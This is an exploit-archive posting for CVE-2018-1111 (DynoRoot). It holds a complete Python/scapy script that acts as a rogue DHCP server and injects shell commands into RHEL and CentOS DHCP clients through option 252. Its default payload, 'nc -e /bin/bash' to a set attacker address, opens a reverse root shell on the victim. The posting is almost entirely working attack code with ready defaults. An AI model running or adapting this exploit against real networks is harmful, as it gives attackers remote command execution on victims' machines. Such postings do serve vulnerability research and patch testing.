DynoRoot DHCP Command Injection

2018.05.21
Credit: Kevin Kirsche
Risk: High
Local: Yes
Remote: No
CWE: CWE-78

# Exploit Title: DynoRoot DHCP - Client Command Injection # Date: 2018-05-18 # Exploit Author: Kevin Kirsche # Exploit Repository: https://github.com/kkirsche/CVE-2018-1111 # Exploit Discoverer: Felix Wilhelm # Vendor Homepage: https://www.redhat.com/ # Version: RHEL 6.x / 7.x and CentOS 6.x/7.x # Tested on: CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4 # CVE : CVE-2018-1111 #!/usr/bin/env python from argparse import ArgumentParser from scapy.all import BOOTP_am, DHCP from scapy.base_classes import Net class DynoRoot(BOOTP_am): function_name = "dhcpd" def make_reply(self, req): resp = BOOTP_am.make_reply(self, req) if DHCP in req: dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1])) for op in req[DHCP].options if isinstance(op, tuple) and op[0] == "message-type"] dhcp_options += [("server_id", self.gw), ("domain", self.domain), ("router", self.gw), ("name_server", self.gw), ("broadcast_address", self.broadcast), ("subnet_mask", self.netmask), ("renewal_time", self.renewal_time), ("lease_time", self.lease_time), (252, "x'&{payload} #".format(payload=self.payload)), "end" ] resp /= DHCP(options=dhcp_options) return resp if __name__ == '__main__': parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit') parser.add_argument('-i', '--interface', default='eth0', type=str, dest='interface', help='The interface to listen for DHCP requests on (default: eth0)') parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str, dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)') parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str, dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)') parser.add_argument('-d', '--domain', default='victim.net', type=str, dest='domain', help='Domain to assign (default: victim.net)') parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str, dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)') args = parser.parse_args() server = DynoRoot(iface=args.interface, domain=args.domain, pool=Net(args.subnet), network=args.subnet, gw=args.gateway, renewal_time=600, lease_time=3600) server.payload = args.payload server()


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